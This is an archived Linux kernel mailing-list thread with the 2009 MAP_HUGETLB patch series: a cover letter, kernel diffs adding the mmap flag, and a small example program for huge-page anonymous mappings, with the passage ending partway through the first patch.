Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 5A16D91DA4; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39107 gmane.linux.kernel:891417 gmane.linux.man:1039 gmane.linux.documentation:854 gmane.linux.ports.alpha:614 gmane.linux.ports.mips.general:25088 gmane.linux.ports.parisc:2184 gmane.linux.kernel.cross-arch:4436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2184>

This patch set adds a flag to mmap that allows the user to request
a mapping to be backed with huge pages.  This mapping will borrow
functionality from the huge page shm code to create a file on the
kernel internal mount and use it to approximate an anonymous mapping.
The MAP_HUGETLB flag is a modifier to MAP_ANONYMOUS and will not work
without both flags being preset.

A new flag is necessary because there is no other way to hook into
huge pages without creating a file on a hugetlbfs mount which
wouldn't be MAP_ANONYMOUS.

To userspace, this mapping will behave just like an anonymous mapping
because the file is not accessible outside of the kernel.

This patch set is meant to simplify the programming model, presently
there is a large chunk of boiler plate code, contained in libhugetlbfs,
required to create private, hugepage backed mappings.  This patch set
would allow use of hugepages without linking to libhugetlbfs or having
hugetblfs mounted.

Unification of the VM code would provide these same benefits, but it
has been resisted each time that it has been suggested for several
reasons: it would break PAGE_SIZE assumptions across the kernel, it
makes page-table abstractions really expensive, and it does not
provide any benefit on architectures that do not support huge pages,
incurring fast path penalties without providing any benefit on these
architectures.

This verion includes the fixes posted to linux-mm as well as additions
to mman.h for the four archtiectures that do not make use of
mman-common.h.  The addition of the MAP_HUGETLB flag to these four
(xtensa, parisc, alpha, and mips) is required because MAP_HUGETLB is
used in common vm code.

Eric B Munson (7):
  hugetlbfs: Allow the creation of files suitable for MAP_PRIVATE on
    the vfs internal mount
  Add MAP_HUGETLB for mmaping pseudo-anonymous huge page regions
  Add MAP_HUGETLB example
  Add MAP_HUGETLB flag to alpha mman.h
  Add MAP_HUGETLB flag to xtensa mman.h
  Add MAP_HUGETLB flag to parisc mman.h
  Add MAP_HUGETLB flag to mips mman.h

 Documentation/vm/00-INDEX         |    2 +
 Documentation/vm/hugetlbpage.txt  |   14 ++++---
 Documentation/vm/map_hugetlb.c    |   77 +++++++++++++++++++++++++++++++++++++
 arch/alpha/include/asm/mman.h     |    6 +++
 arch/mips/include/asm/mman.h      |    6 +++
 arch/parisc/include/asm/mman.h    |    7 +++
 arch/xtensa/include/asm/mman.h    |    6 +++
 fs/hugetlbfs/inode.c              |   13 +++++-
 include/asm-generic/mman-common.h |    1 +
 include/linux/hugetlb.h           |   19 ++++++++-
 ipc/shm.c                         |    2 +-
 mm/mmap.c                         |   19 +++++++++
 12 files changed, 160 insertions(+), 12 deletions(-)
 create mode 100644 Documentation/vm/map_hugetlb.c

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 2/7] Add MAP_HUGETLB for mmaping pseudo-anonymous huge page regions
Date: Fri, 18 Sep 2009 06:21:48 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276568 15477 80.91.229.12 (18 Sep 2009 12:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:22:48 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:38 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocU0-0008FA-O1
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:37 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id DB6BD6B0062; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id D86AE6B0093; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6F3F46B00AC; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail203.messagelabs.com (mail203.messagelabs.com [216.82.254.243])
	by kanga.kvack.org (Postfix) with ESMTP id F1DF66B0062
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-9.tower-203.messagelabs.com!1253276535!66122676!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.141]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjE0MSA9PiAyMTYxMTA=\n
Original-Received: (qmail 746 invoked from network); 18 Sep 2009 12:22:15 -0000
Original-Received: from e1.ny.us.ibm.com (HELO e1.ny.us.ibm.com) (32.97.182.141)
  by server-9.tower-203.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:15 -0000
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e1.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICLLUA013379
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:21:21 -0400
Original-Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217])
	by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICM9h3258092
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from d01av03.pok.ibm.com (loopback [127.0.0.1])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICM8oO022335
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICM7Tm022321;
	Fri, 18 Sep 2009 08:22:08 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 6675D91DE3; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39108 gmane.linux.kernel:891418 gmane.linux.man:1040 gmane.linux.documentation:855 gmane.linux.ports.alpha:615 gmane.linux.ports.mips.general:25089 gmane.linux.ports.parisc:2185 gmane.linux.kernel.cross-arch:4437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2185>

This patch adds a flag for mmap that will be used to request a huge
page region that will look like anonymous memory to user space.  This
is accomplished by using a file on the internal vfsmount.  MAP_HUGETLB
is a modifier of MAP_ANONYMOUS and so must be specified with it.  The
region will behave the same as a MAP_ANONYMOUS region using small pages.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 include/asm-generic/mman-common.h |    1 +
 include/linux/hugetlb.h           |    7 +++++++
 mm/mmap.c                         |   19 +++++++++++++++++++
 3 files changed, 27 insertions(+), 0 deletions(-)

diff --git a/include/asm-generic/mman-common.h b/include/asm-generic/mman-common.h
index 3b69ad3..e6adb68 100644
--- a/include/asm-generic/mman-common.h
+++ b/include/asm-generic/mman-common.h
@@ -19,6 +19,7 @@
 #define MAP_TYPE	0x0f		/* Mask for type of mapping */
 #define MAP_FIXED	0x10		/* Interpret addr exactly */
 #define MAP_ANONYMOUS	0x20		/* don't use a file */
+#define MAP_HUGETLB	0x080000	/* create a huge page mapping */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_INVALIDATE	2		/* invalidate the caches */
diff --git a/include/linux/hugetlb.h b/include/linux/hugetlb.h
index 38bb552..b0bc0fd 100644
--- a/include/linux/hugetlb.h
+++ b/include/linux/hugetlb.h
@@ -110,12 +110,19 @@ static inline void hugetlb_report_meminfo(struct seq_file *m)
 
 #endif /* !CONFIG_HUGETLB_PAGE */
 
+#define HUGETLB_ANON_FILE "anon_hugepage"
+
 enum {
 	/*
 	 * The file will be used as an shm file so shmfs accounting rules
 	 * apply
 	 */
 	HUGETLB_SHMFS_INODE     = 1,
+	/*
+	 * The file is being created on the internal vfs mount and shmfs
+	 * accounting rules do not apply
+	 */
+	HUGETLB_ANONHUGE_INODE  = 2,
 };
 
 #ifdef CONFIG_HUGETLBFS
diff --git a/mm/mmap.c b/mm/mmap.c
index 8101de4..9ca4f26 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -29,6 +29,7 @@
 #include <linux/rmap.h>
 #include <linux/mmu_notifier.h>
 #include <linux/perf_counter.h>
+#include <linux/hugetlb.h>
 
 #include <asm/uaccess.h>
 #include <asm/cacheflush.h>
@@ -951,6 +952,24 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	if (mm->map_count > sysctl_max_map_count)
 		return -ENOMEM;
 
+	if (flags & MAP_HUGETLB) {
+		struct user_struct *user = NULL;
+		if (file)
+			return -EINVAL;
+
+		/*
+		 * VM_NORESERVE is used because the reservations will be
+		 * taken when vm_ops->mmap() is called
+		 * A dummy user value is used because we are not locking
+		 * memory so no accounting is necessary
+		 */
+		len = ALIGN(len, huge_page_size(&default_hstate));
+		file = hugetlb_file_setup(HUGETLB_ANON_FILE, len, VM_NORESERVE,
+						&user, HUGETLB_ANONHUGE_INODE);
+		if (IS_ERR(file))
+			return PTR_ERR(file);
+	}
+
 	/* Obtain the address to map to. we verify (or select) it and ensure
 	 * that it represents a valid section of the address space.
 	 */
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 3/7] Add MAP_HUGETLB example
Date: Fri, 18 Sep 2009 06:21:49 -0600
Lines: 139
Approved: news@gmane.org
Message-ID: <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
 <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276581 15506 80.91.229.12 (18 Sep 2009 12:23:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:23:01 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:50 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocUD-0008IG-VE
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:50 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id B44FA6B0089; Fri, 18 Sep 2009 08:22:12 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 5FAEF6B009D; Fri, 18 Sep 2009 08:22:12 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 02BC76B00AC; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail143.messagelabs.com (mail143.messagelabs.com [216.82.254.35])
	by kanga.kvack.org (Postfix) with ESMTP id 1E8196B008C
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-4.tower-143.messagelabs.com!1253276535!70002330!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.137]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjEzNyA9PiAxNzg2NzA=\n
Original-Received: (qmail 6644 invoked from network); 18 Sep 2009 12:22:15 -0000
Original-Received: from e7.ny.us.ibm.com (HELO e7.ny.us.ibm.com) (32.97.182.137)
  by server-4.tower-143.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:15 -0000
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e7.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICK8Sw030132
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:20:08 -0400
Original-Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216])
	by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICM9uq251932
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from d01av02.pok.ibm.com (loopback [127.0.0.1])
	by d01av02.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICIvPG000396
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:18:58 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av02.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICIuoG000375;
	Fri, 18 Sep 2009 08:18:56 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 6BF9491DE4; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39109 gmane.linux.kernel:891419 gmane.linux.man:1041 gmane.linux.documentation:856 gmane.linux.ports.alpha:616 gmane.linux.ports.mips.general:25090 gmane.linux.ports.parisc:2186 gmane.linux.kernel.cross-arch:4438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2186>

This patch adds an example of how to use the MAP_HUGETLB flag to the
vm documentation directory and a reference to the example in
hugetlbpage.txt.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 Documentation/vm/00-INDEX        |    2 +
 Documentation/vm/hugetlbpage.txt |   14 ++++---
 Documentation/vm/map_hugetlb.c   |   77 ++++++++++++++++++++++++++++++++++++++
 3 files changed, 87 insertions(+), 6 deletions(-)
 create mode 100644 Documentation/vm/map_hugetlb.c

diff --git a/Documentation/vm/00-INDEX b/Documentation/vm/00-INDEX
index 2f77ced..aabd973 100644
--- a/Documentation/vm/00-INDEX
+++ b/Documentation/vm/00-INDEX
@@ -20,3 +20,5 @@ slabinfo.c
 	- source code for a tool to get reports about slabs.
 slub.txt
 	- a short users guide for SLUB.
+map_hugetlb.c
+	- an example program that uses the MAP_HUGETLB mmap flag.
diff --git a/Documentation/vm/hugetlbpage.txt b/Documentation/vm/hugetlbpage.txt
index ea8714f..6a8feab 100644
--- a/Documentation/vm/hugetlbpage.txt
+++ b/Documentation/vm/hugetlbpage.txt
@@ -146,12 +146,14 @@ Regular chown, chgrp, and chmod commands (with right permissions) could be
 used to change the file attributes on hugetlbfs.
 
 Also, it is important to note that no such mount command is required if the
-applications are going to use only shmat/shmget system calls.  Users who
-wish to use hugetlb page via shared memory segment should be a member of
-a supplementary group and system admin needs to configure that gid into
-/proc/sys/vm/hugetlb_shm_group.  It is possible for same or different
-applications to use any combination of mmaps and shm* calls, though the
-mount of filesystem will be required for using mmap calls.
+applications are going to use only shmat/shmget system calls or mmap with
+MAP_HUGETLB.  Users who wish to use hugetlb page via shared memory segment
+should be a member of a supplementary group and system admin needs to
+configure that gid into /proc/sys/vm/hugetlb_shm_group.  It is possible for
+same or different applications to use any combination of mmaps and shm*
+calls, though the mount of filesystem will be required for using mmap calls
+without MAP_HUGETLB.  For an example of how to use mmap with MAP_HUGETLB see
+map_hugetlb.c.
 
 *******************************************************************
 
diff --git a/Documentation/vm/map_hugetlb.c b/Documentation/vm/map_hugetlb.c
new file mode 100644
index 0000000..b6c1931
--- /dev/null
+++ b/Documentation/vm/map_hugetlb.c
@@ -0,0 +1,77 @@
+/*
+ * Example of using hugepage memory in a user application using the mmap
+ * system call with MAP_HUGETLB flag.  Before running this program make
+ * sure the administrator has allocated enough default sized huge pages
+ * to cover the 256 MB allocation.
+ *
+ * For ia64 architecture, Linux kernel reserves Region number 4 for hugepages.
+ * That means the addresses starting with 0x800000... will need to be
+ * specified.  Specifying a fixed address is not required on ppc64, i386
+ * or x86_64.
+ */
+#include <stdlib.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+
+#define LENGTH (256UL*1024*1024)
+#define PROTECTION (PROT_READ | PROT_WRITE)
+
+#ifndef MAP_HUGETLB
+#define MAP_HUGETLB 0x080000
+#endif
+
+/* Only ia64 requires this */
+#ifdef __ia64__
+#define ADDR (void *)(0x8000000000000000UL)
+#define FLAGS (MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_FIXED)
+#else
+#define ADDR (void *)(0x0UL)
+#define FLAGS (MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB)
+#endif
+
+void check_bytes(char *addr)
+{
+	printf("First hex is %x\n", *((unsigned int *)addr));
+}
+
+void write_bytes(char *addr)
+{
+	unsigned long i;
+
+	for (i = 0; i < LENGTH; i++)
+		*(addr + i) = (char)i;
+}
+
+void read_bytes(char *addr)
+{
+	unsigned long i;
+
+	check_bytes(addr);
+	for (i = 0; i < LENGTH; i++)
+		if (*(addr + i) != (char)i) {
+			printf("Mismatch at %lu\n", i);
+			break;
+		}
+}
+
+int main(void)
+{
+	void *addr;
+
+	addr = mmap(ADDR, LENGTH, PROTECTION, FLAGS, 0, 0);
+	if (addr == MAP_FAILED) {
+		perror("mmap");
+		exit(1);
+	}
+
+	printf("Returned address is %p\n", addr);
+	check_bytes(addr);
+	write_bytes(addr);
+	read_bytes(addr);
+
+	munmap(addr, LENGTH);
+
+	return 0;
+}
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 1/7] hugetlbfs: Allow the creation of files suitable for MAP_PRIVATE on the vfs internal mount
Date: Fri, 18 Sep 2009 06:21:47 -0600
Lines: 121
Approved: news@gmane.org
Message-ID: <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276596 15561 80.91.229.12 (18 Sep 2009 12:23:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:23:16 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:23:05 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocUT-0008LX-A8
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:23:05 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 6B1816B0093; Fri, 18 Sep 2009 08:22:14 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 694BC6B0092; Fri, 18 Sep 2009 08:22:14 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7CEF66B009D; Fri, 18 Sep 2009 08:22:13 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail172.messagelabs.com (mail172.messagelabs.com [216.82.254.3])
	by kanga.kvack.org (Postfix) with ESMTP id A15ED6B0092
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-14.tower-172.messagelabs.com!1253276535!68903448!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.138]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjEzOCA9PiAyMTQ5NDY=\n
Original-Received: (qmail 16506 invoked from network); 18 Sep 2009 12:22:16 -0000
Original-Received: from e8.ny.us.ibm.com (HELO e8.ny.us.ibm.com) (32.97.182.138)
  by server-14.tower-172.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:16 -0000
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e8.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICLKtN008557
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:21:20 -0400
Original-Received: from d01av03.pok.ibm.com (d01av03.pok.ibm.com [9.56.224.217])
	by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICM93I258094
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from d01av03.pok.ibm.com (loopback [127.0.0.1])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICM8oR022342
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av03.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICM7FW022326;
	Fri, 18 Sep 2009 08:22:08 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 619F491DE2; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39110 gmane.linux.kernel:891420 gmane.linux.man:1042 gmane.linux.documentation:857 gmane.linux.ports.alpha:617 gmane.linux.ports.mips.general:25091 gmane.linux.ports.parisc:2187 gmane.linux.kernel.cross-arch:4439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2187>

There are two means of creating mappings backed by huge pages:

        1. mmap() a file created on hugetlbfs
        2. Use shm which creates a file on an internal mount which essentially
           maps it MAP_SHARED

The internal mount is only used for shared mappings but there is very
little that stops it being used for private mappings. This patch extends
hugetlbfs_file_setup() to deal with the creation of files that will be
mapped MAP_PRIVATE on the internal hugetlbfs mount. This extended API is
used in a subsequent patch to implement the MAP_HUGETLB mmap() flag.

Signed-off-by: Eric Munson <ebmunson@us.ibm.com>
---
 fs/hugetlbfs/inode.c    |   13 ++++++++++---
 include/linux/hugetlb.h |   12 ++++++++++--
 ipc/shm.c               |    2 +-
 3 files changed, 21 insertions(+), 6 deletions(-)

diff --git a/fs/hugetlbfs/inode.c b/fs/hugetlbfs/inode.c
index a93b885..0837fea 100644
--- a/fs/hugetlbfs/inode.c
+++ b/fs/hugetlbfs/inode.c
@@ -507,6 +507,13 @@ static struct inode *hugetlbfs_get_inode(struct super_block *sb, uid_t uid,
 		inode->i_atime = inode->i_mtime = inode->i_ctime = CURRENT_TIME;
 		INIT_LIST_HEAD(&inode->i_mapping->private_list);
 		info = HUGETLBFS_I(inode);
+		/*
+		 * The policy is initialized here even if we are creating a
+		 * private inode because initialization simply creates an
+		 * an empty rb tree and calls spin_lock_init(), later when we
+		 * call mpol_free_shared_policy() it will just return because
+		 * the rb tree will still be empty.
+		 */
 		mpol_shared_policy_init(&info->policy, NULL);
 		switch (mode & S_IFMT) {
 		default:
@@ -931,13 +938,13 @@ static struct file_system_type hugetlbfs_fs_type = {
 
 static struct vfsmount *hugetlbfs_vfsmount;
 
-static int can_do_hugetlb_shm(void)
